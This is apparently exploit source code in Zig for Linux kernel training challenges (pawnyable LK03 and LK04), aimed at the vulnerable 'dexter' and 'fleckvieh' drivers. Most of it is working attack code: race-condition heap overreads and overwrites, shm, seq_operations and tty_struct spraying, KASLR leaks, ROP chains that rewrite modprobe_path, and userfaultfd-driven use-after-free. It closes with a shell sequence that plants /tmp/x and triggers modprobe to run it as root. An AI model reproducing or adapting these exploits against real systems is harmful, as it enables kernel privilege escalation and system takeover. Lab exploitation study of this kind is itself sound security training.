    var race_is_won = false;

    var t1 = try std.Thread.spawn(.{}, raceIoctl, .{fd, buf, .GET, &req, &race_is_won});
    var t2 = try std.Thread.spawn(.{}, raceCorrupt, .{&req, buf.len, &race_is_won});
    try pinThreadToCore(t1.getHandle(), 0);
    try pinThreadToCore(t2.getHandle(), 1);
    t1.join();
    t2.join();
}

const shm_c = @cImport({
    @cInclude("sys/shm.h");
    @cInclude("sys/ipc.h");
    @cInclude("sys/types.h");
});

const ShmInfo = struct {
    segment: c_int,
    addr: *const anyopaque,
};

fn shmSpray(shms: []ShmInfo) !void {
    for (shms) |*shm| {
        const shmId = shm_c.shmget(shm_c.IPC_PRIVATE, std.heap.page_size_min, shm_c.IPC_CREAT | 0o666);
        switch (posix.errno(shmId)) {
            .SUCCESS => {},
            else => |err| return posix.unexpectedErrno(err),
        }
        shm.* = .{ .segment = shmId, .addr = shm_c.shmat(shmId, null, shm_c.SHM_RDONLY).? };
    }
}
fn shmFree(shms: []ShmInfo) void {
    for (shms) |shm| {
        switch (posix.errno(shm_c.shmctl(shm.segment, shm_c.IPC_RMID, null))) {
            .SUCCESS => {},
            else => |_| {},
        }
        switch (posix.errno(shm_c.shmdt(shm.addr))) {
            .SUCCESS => {},
            else => |_| {},
        }
    }
}

var ADD_RSP_0xb8_POP_R13_POP_R14_POP_R15_POP_RBP: u64 = 0xffffffff811481c6;

var POP_RDX_POP_RSI_POP_RDI_POP_RBP: u64 = 0xffffffff810012c1;
var POP_R10_POP_RBP: u64 = 0xffffffff81384eec;
var ADD_ADDROF_RSI_RDX: u64 = 0xffffffff81399ff3;

var SYSCALL_RETURN_VIA_SYSRET: u64 = 0xffffffff818000fb; // similar to but not exactly the same as KPTI_TRAMPOLINE
var MODPROBE_PATH: u64 = 0xffffffff81e37e60;

inline fn ropchain(fd: posix.fd_t) void {
    const modprobe_difference: u64 = @bitCast(-@as(i64, @intCast(std.mem.bytesToValue(u64, "/sbin/m") - std.mem.bytesToValue(u64, "/tmp/x\x00"))));
    // we don't control the return address (rcx) so this will segfault once we return to userspace (importantly, this will not cause a kernel panic)
    // when stuffing a ropchain in pt_regs this is an big advantage over commit_creds(&init_cred), which requires a clean userspace return
    asm volatile (""
        :
        : [_] "{r15}" (POP_RDX_POP_RSI_POP_RDI_POP_RBP),
          [_] "{r14}" (modprobe_difference),
          [_] "{r13}" (MODPROBE_PATH),
          // [junk] "{r12}" (),
          [_] "{rbx}" (POP_R10_POP_RBP),
          // [junk] "{r10}" (),
          [_] "{r9}" (ADD_ADDROF_RSI_RDX),
          [_] "{r8}" (SYSCALL_RETURN_VIA_SYSRET),
    );

    _ = @call(.always_inline, linux.syscall3, .{ linux.SYS.lseek, @as(usize, @bitCast(@as(isize, fd))), 1, linux.SEEK.CUR });
}

fn adjust_offsets(kaslr_offset: u64) void {
    const gadgets = &[_]*u64{
        &ADD_RSP_0xb8_POP_R13_POP_R14_POP_R15_POP_RBP,
        &POP_RDX_POP_RSI_POP_RDI_POP_RBP,
        &POP_R10_POP_RBP,
        &ADD_ADDROF_RSI_RDX,

        &SYSCALL_RETURN_VIA_SYSRET,
        &MODPROBE_PATH,
    };
    for (gadgets) |g| {
        g.* += kaslr_offset;
    }
}

<<pawnyable-lib>>
<<lk03-types>>
<<lk03-race>>
<<lk03-shm>>
<<lk03-ropchain>>

fn spray(fds: []posix.fd_t) !void {
    for (0..fds.len) |i| {
        fds[i] = try posix.open("/proc/self/stat", .{ .ACCMODE = .RDONLY }, 0o660);
    }
}

pub fn main() !void {
    const fd = try posix.open("/dev/dexter", .{ .ACCMODE = .RDWR }, 0o660);
    defer posix.close(fd);

    var shm_addrs: [100]ShmInfo = undefined;
    try shmSpray(&shm_addrs);

    var buf: [32+32*2]u8 = undefined;
    try overread(fd, &buf);

    const init_ipc_ns: u64 = 0xffffffff81eb2c00;
    const kaslr_offset = std.mem.readInt(u64, buf[buf.len-32..][@offsetOf(shm_file_data, "ns")..][0..8], .little) - init_ipc_ns;
    std.log.info("Kernel base at 0x{x}", .{0xffffffff81000000 + kaslr_offset});
    adjust_offsets(kaslr_offset);

    shmFree(&shm_addrs);

    var stat_fds: [1000]posix.fd_t = undefined;
    try spray(&stat_fds);
    defer for (stat_fds) |sfd| posix.close(sfd);

    @memcpy(buf[32+32..][@offsetOf(seq_operations, "start")..][0..8], std.mem.asBytes(&ADD_RSP_0xb8_POP_R13_POP_R14_POP_R15_POP_RBP));
    try overwrite(fd, &buf);

    for (stat_fds) |sfd| {
        ropchain(sfd);
    }
    // let it crash!
}

whoami
./exploit
echo '#!/bin/sh\n/usr/bin/whoami &> /tmp/whoisit\nchmod 777 /tmp/whoisit' > /tmp/x
chmod 777 /tmp/x
touch /tmp/unknown
chmod 777 /tmp/unknown
/tmp/unknown &> /tmp/null
cat /tmp/whoisit

const fleckvieh = struct {
    pub const ops = enum(u32) {
        ADD = 0xf1ec0001,
        DEL = 0xf1ec0002,
        GET = 0xf1ec0003,
        SET = 0xf1ec0004,
    };
    pub fn ioctl(fd: posix.fd_t, op: ops, buf: ?[]u8, id: ?i32) !i32 {
        if (op != .ADD and id == null) return error.InvalidArgument;
        const ret = linux.ioctl(fd, @intFromEnum(op), @intFromPtr(&request_t{ .id = id orelse undefined, .size = if (buf) |b| b.len else undefined, .data = if (buf) |b| @ptrCast(b) else undefined }));
        switch (posix.errno(ret)) {
            .SUCCESS => return @intCast(@as(i64, @bitCast(ret))),
            else => |e| return posix.unexpectedErrno(e),
        }
    }
};


const request_t = extern struct {
    id: i32,
    size: usize,
    data: [*]u8,
};

const blob_list = extern struct {
    const struct_head = extern struct {
        next: *struct_head,
        prev: *struct_head,
    };

    id: i32,
    size: usize,
    data: [*]u8,
    list: struct_head,
};

<<pin-to-core>>

const userfaultfd = struct {
    pub const msg = packed struct {
        pub const EVENT = enum(u8) {
            PAGEFAULT = 0x12,
            FORK,
            REMAP,
            REMOVE,
            UNMAP,
        };
        event: EVENT,

        _reserved1: u8,
        _reserved2: u16,
        _reserved3: u32,

        arg: packed union {
            pagefault: packed struct {
                pub const FLAG = packed struct (u64) {
                    WRITE: bool = false,
                    WP: bool = false,
                    MINOR: bool = false,
                    _: u61 = 0,
                };

                flags: FLAG,
                address: u64,
                feat: packed union { ptid: u32 },
            },
            fork: packed struct { ufd: u32 },
            remap: packed struct {
                from: u64,
                to: u64,
                len: u64,
            },
            remove: packed struct {
                start: u64,
                end: u64,
            },
            _reserved: packed struct {
                _reserved1: u64,
                _reserved2: u64,
                _reserved3: u64,
            },
        },
    };

    const uffdio_api = extern struct {
        pub const FEATURE = packed struct (u64) {
            PAGEFAULT_FLAG_WP: bool = false,
            EVENT_FORK: bool = false,
            EVENT_REMAP: bool = false,
            EVENT_REMOVE: bool = false,
            MISSING_HUGETLBFS: bool = false,
            MISSING_SHMEM: bool = false,
            EVENT_UNMAP: bool = false,
            SIGBUS: bool = false,
            THREAD_ID: bool = false,
            MINOR_HUGETLBFS: bool = false,
            MINOR_SHMEM: bool = false,
            _: u53 = 0,
        };

        api: u64,
        features: FEATURE,
        ioctls: u64,
    };
    const uffdio_range = extern struct {
        start: u64,
        len: u64,
    };
    const uffdio_register = extern struct {
        pub const MODE = packed struct (u64) {
            MISSING: bool = false,
            WP: bool = false,
            MODE_MINOR: bool = false,
            _: u61 = 0,
        };

        range: uffdio_range,
        mode: MODE,
        ioctls: u64,
    };
    const uffdio_copy = extern struct {
        pub const MODE = packed struct (u64) {
            DONTWAKE: bool = false,
            WP: bool = false,
            _: u62 = 0,
        };

        dst: u64,
        src: u64,
        len: u64,
        mode: MODE,
        copy: i64,
    };
    const uffdio_zeropage = extern struct {
        pub const MODE = packed struct (u64) {
            DONTWAKE: bool = false,
            _: u63 = 0,
        };

        range: uffdio_range,
        mode: MODE,
        zeropage: i64,
    };
    const uffdio_writeprotect = extern struct {
        pub const MODE = packed struct (u64) {
            WP: bool = false,
            DONTWAKE: bool = false,
            _: u62 = 0,
        };

        range: uffdio_range,
        mode: MODE,
    };
    const uffdio_continue = extern struct {
        pub const MODE = packed struct (u64) {
            DONTWAKE: bool = false,
            _: u63 = 0,
        };

        range: uffdio_range,
        mode: MODE,
        mapped: i64,
    };

    const UFFD_API: u64 = 0xaa;
    const UFFDIO = enum(u32) {
        const _uffdio = 0xaa;
        const ioctl = linux.IOCTL;

        API = ioctl.IOWR(_uffdio, 0x3f, uffdio_api),
        REGISTER = ioctl.IOWR(_uffdio, 0x00, uffdio_register),
        UNREGISTER = ioctl.IOR(_uffdio, 0x01, uffdio_range),
        WAKE = ioctl.IOR(_uffdio, 0x02, uffdio_range),
        COPY = ioctl.IOWR(_uffdio, 0x03, uffdio_copy),
        ZEROPAGE = ioctl.IOWR(_uffdio, 0x04, uffdio_zeropage),
        WRITEPROTECT = ioctl.IOWR(_uffdio, 0x06, uffdio_writeprotect),
        CONTINUE = ioctl.IOWR(_uffdio, 0x07, uffdio_continue),
    };


    pub fn register(region: []u8, comptime fault_handler: anytype, fh_args: anytype) !void {
        const fd: posix.fd_t = blk: {
            const err = linux.syscall1(linux.syscalls.X64.userfaultfd, @as(u32, @bitCast(linux.O{ .CLOEXEC = true, .NONBLOCK = true })));
            switch (linux.E.init(err)) {
                .SUCCESS => break :blk @intCast(err),
                else => |e| return posix.unexpectedErrno(e),
            }
        };

        var ufapi = uffdio_api{ .api = UFFD_API, .features = .{}, .ioctls = undefined };
        switch (posix.errno(linux.ioctl(fd, @intFromEnum(UFFDIO.API), @intFromPtr(&ufapi)))) {
            .SUCCESS => {},
            else => |err| return posix.unexpectedErrno(err),
        }

        var ufreg = uffdio_register{ .range = .{ .start = @intFromPtr(@as([*]u8, @ptrCast(region))), .len = region.len }, .mode = .{ .MISSING = true }, .ioctls = undefined };
        switch (posix.errno(linux.ioctl(fd, @intFromEnum(UFFDIO.REGISTER), @intFromPtr(&ufreg)))) {
            .SUCCESS => {},
            else => |err| return posix.unexpectedErrno(err),
        }

        var t = try std.Thread.spawn(.{}, fault_handler, .{fd} ++ fh_args);
        try pinThreadToCore(t.getHandle(), 0);
        t.detach();
    }
};


fn testFaultHandler(fd: posix.fd_t) void {
    const ufd = userfaultfd;
    const S = struct {
        var msg: ufd.msg = undefined;
        var fault_count: u32 = 0;
    };

    const page = posix.mmap(
        null,
        0x1000,
        linux.PROT.READ | linux.PROT.WRITE,
        posix.MAP{ .TYPE = .PRIVATE, .ANONYMOUS = true },
        -1,
        0,
    ) catch {
        std.log.err("mmap failed", .{});
        return;
    };
    defer posix.munmap(page);

    std.log.info("Waiting for page fault...", .{});
    var pollfds = [_]posix.pollfd{
        .{ .fd = fd, .events = posix.POLL.IN, .revents = undefined }
    };
    while (true) {
        _ = posix.poll(&pollfds, -1) catch break;
        const pollfd = pollfds[0];

        const err_mask = posix.POLL.ERR | posix.POLL.HUP;
        if (pollfd.revents & err_mask != 0) {
            std.log.err("poll failed", .{});
            return;
        }

        _ = posix.read(fd, std.mem.asBytes(&S.msg)) catch {
            std.log.err("read failed", .{});
            return;
        };

        const pagefault_event = switch (S.msg.event) {
            .PAGEFAULT => S.msg.arg.pagefault,
            else => {
                std.log.err("Received non-pagefault event", .{});
                return;
            },
        };

        std.log.info("pagefault_event.flags = {any}", .{pagefault_event.flags});
        std.log.info("pagefault_event.addr = 0x{x}", .{pagefault_event.address});

        @memcpy(page[0..9], if (S.fault_count % 2 == 0) "Test (0)\x00" else "Test (1)\x00");
        S.fault_count += 1;

        var ufcopy = ufd.uffdio_copy{ .src = @intFromPtr(@as([*]u8, @ptrCast(page))), .dst = pagefault_event.address & ~@as(u64, 0xfff), .len = page.len, .mode = .{}, .copy = 0 };
        switch (posix.errno(linux.ioctl(fd, @intFromEnum(ufd.UFFDIO.COPY), @intFromPtr(&ufcopy)))) {
            .SUCCESS => {},
            else => |err| {
                std.log.err("{any}", .{err});
                return;
            },
        }
    }
}

<<pawnyable-lib>>
<<lk04-userfaultfd>>

pub fn main() !void {
    {
        var cpu: linux.cpu_set_t = @splat(0);
        cpu[0] = 1;

        try linux.sched_setaffinity(linux.getpid(), &cpu);
    }

    const page = try posix.mmap(
        null,
        0x2000,
        linux.PROT.READ | linux.PROT.WRITE,
        posix.MAP{ .TYPE = .PRIVATE, .ANONYMOUS = true },
        -1,
        0,
    );
    try userfaultfd.register(page, testFaultHandler, .{});

    var buf: [0x100]u8 = undefined;
    for (0..2) |_| {
        const buf_as_cstring: [*:0]const u8 = @ptrCast(&buf);
        @memcpy(&buf, page[0..0x100]);
        std.debug.print("0x0000: {s}\n", .{buf_as_cstring});
        @memcpy(&buf, page[0x1000..][0..0x100]);
        std.debug.print("0x1000: {s}\n", .{buf_as_cstring});
    }
}

<<pawnyable-lib>>
<<lk04-types>>
<<tty_struct>>
<<lk04-userfaultfd>>
<<lk04-ropchain>>

const UAF = enum {
    AAR,
    AAW,
};

fn sprayFaultHandler(uffd: posix.fd_t, fd: posix.fd_t, ttys: []posix.fd_t, buf: []u8, id: *i32, uaf_type: *UAF) void {
    var pollfds = [_]posix.pollfd{
        .{ .fd = uffd, .events = posix.POLL.IN, .revents = undefined }
    };

    while (true) {
        _ = posix.poll(&pollfds, -1) catch break;
        const pollfd = pollfds[0];

        const err_mask = posix.POLL.ERR | posix.POLL.HUP;
        if (pollfd.revents & err_mask != 0) {
            std.log.err("poll failed", .{});
            return;
        }

        var msg: userfaultfd.msg = undefined;
        _ = posix.read(uffd, std.mem.asBytes(&msg)) catch {
            std.log.err("read failed", .{});
            return;
        };

        const pagefault_event = switch (msg.event) {
            .PAGEFAULT => msg.arg.pagefault,
            else => {
                std.log.err("received non-pagefault event", .{});
                return;
            },
        };


        std.log.info("Beginning {s}", .{@tagName(uaf_type.*)});
        switch (uaf_type.*) {
            .AAR => {},
            .AAW => {
                // we want to overwrite the data at the address `heap_leak' with malicious tty_operations structures
                // but we cannot simply SET the contents of the tty_struct that `heap_leak' points to
                // instead, we will free the aforementioned tty_struct(s) and spray tty_operations (by adding blobs with contents of `buf'), hoping that one will be placed at `heap_leak'
                for (0..100) |_| {
                    _ = fleckvieh.ioctl(fd, .ADD, buf, null) catch |err| {
                        std.log.err("blob_add failed with {any}", .{err});
                        return;
                    };
                }
            },
        }
        _ = fleckvieh.ioctl(fd, .DEL, null, id.*) catch |err| {
            std.log.err("blob_del failed with {any}", .{err});
            return;
        };

        for (ttys) |*tty| {
            tty.* = posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660) catch unreachable;
        }

        var ufcopy = userfaultfd.uffdio_copy{ .src = @intFromPtr(@as([*]u8, @ptrCast(buf))), .dst = pagefault_event.address, .len = std.heap.page_size_min, .mode = .{}, .copy = 0 };
        switch (posix.errno(linux.ioctl(uffd, @intFromEnum(userfaultfd.UFFDIO.COPY), @intFromPtr(&ufcopy)))) {
            .SUCCESS => {},
            else => |err| {
                std.log.err("{any}", .{err});
                return;
            },
        }
    }
}

fn exploit(fd: posix.fd_t) !void {
    var ttys: [10]posix.fd_t = undefined;
    var buf: [1024]u8 = undefined;
    var id: i32 = undefined;
    var uaf_type: UAF = undefined;


    const faultable_pages = try posix.mmap(
        null,
        3*std.heap.page_size_min, // 3 UAFs
        linux.PROT.READ | linux.PROT.WRITE,
        posix.MAP{ .TYPE = .PRIVATE, .ANONYMOUS = true },
        -1,
        0,
    );
    defer posix.munmap(faultable_pages);
    try userfaultfd.register(faultable_pages, sprayFaultHandler, .{fd, &ttys, &buf, &id, &uaf_type});


    const kaslr_offset = blk: {
        defer for (ttys) |tty| posix.close(tty);
        id = try fleckvieh.ioctl(fd, .ADD, &buf, null);
        uaf_type = .AAR;
        // trigger a page fault and leak heap address
        // when calling copy_to_user, the first few bytes are copied from the heap, and only when they are moved into `faultable_pages'
        // does the UAF occur. Therefore, to ensure the bytes containing `tty_struct.ops' are not copied before copy_to_user accesses `faultable_pages', we must make a smaller request.
        _ = try fleckvieh.ioctl(fd, .GET, faultable_pages[0..0x20], id);

        const ptmx_fops_addr: u64 = 0xffffffff81c3c3c0;
        break :blk std.mem.bytesAsValue(u64, faultable_pages[@offsetOf(tty_struct, "ops")..][0..@sizeOf(@FieldType(tty_struct, "ops"))]).* - ptmx_fops_addr;
    };
    adjust_offsets(kaslr_offset);
    std.log.info("Kernel base @ 0x{x}", .{0xffffffff81000000+kaslr_offset});


    const heap_leak = blk: {
        defer for (ttys) |tty| posix.close(tty);
        id = try fleckvieh.ioctl(fd, .ADD, &buf, null);
        uaf_type = .AAR;
        _ = try fleckvieh.ioctl(fd, .GET, faultable_pages[std.heap.page_size_min..][0..1024], id);

        const offset = @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(@FieldType(tty_struct, "ldisc_sem"), "read_wait");
        break :blk std.mem.bytesAsValue(u64, faultable_pages[std.heap.page_size_min..][offset..][0..8]).* - offset;
    };
    std.log.info("Heap leak = 0x{x}", .{heap_leak});

    {
        @memcpy(buf[0..1024], faultable_pages[std.heap.page_size_min..][0..1024]);
        const tty = std.mem.bytesAsValue(tty_struct, &buf);
        tty.*.magic = 0x5401;
        tty.*.kref = 0;
        tty.*.dev = 0;
        tty.*.driver = heap_leak;
        tty.*.ops = heap_leak+0x100;

        // ensure ropchain is far away enough from important tty_struct internals
        @memcpy(buf[0x100..][0..@sizeOf(tty_operations)], std.mem.asBytes(&tty_operations{ .ioctl = PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP }));
        _ = try ropchain(buf[0x100..][@sizeOf(tty_operations)..]);

        id = try fleckvieh.ioctl(fd, .ADD, &buf, null);
        uaf_type = .AAW;
        _ = try fleckvieh.ioctl(fd, .SET, faultable_pages[2*std.heap.page_size_min..][0..1024], id);
    }

    for (ttys) |tty| _ = linux.ioctl(tty, 0xdeadbeef, heap_leak+0x100+@sizeOf(tty_operations));
}

pub fn main() !void {
    {
        var cpu: linux.cpu_set_t = @splat(0);
        cpu[0] = 1;
        try linux.sched_setaffinity(linux.getpid(), &cpu);
    }
    catchSigsegv(&modprobePath);
    saveState();

    const fd = try posix.open("/dev/fleckvieh", .{ .ACCMODE = .RDWR }, 0o660);
    defer posix.close(fd);

    try exploit(fd);
}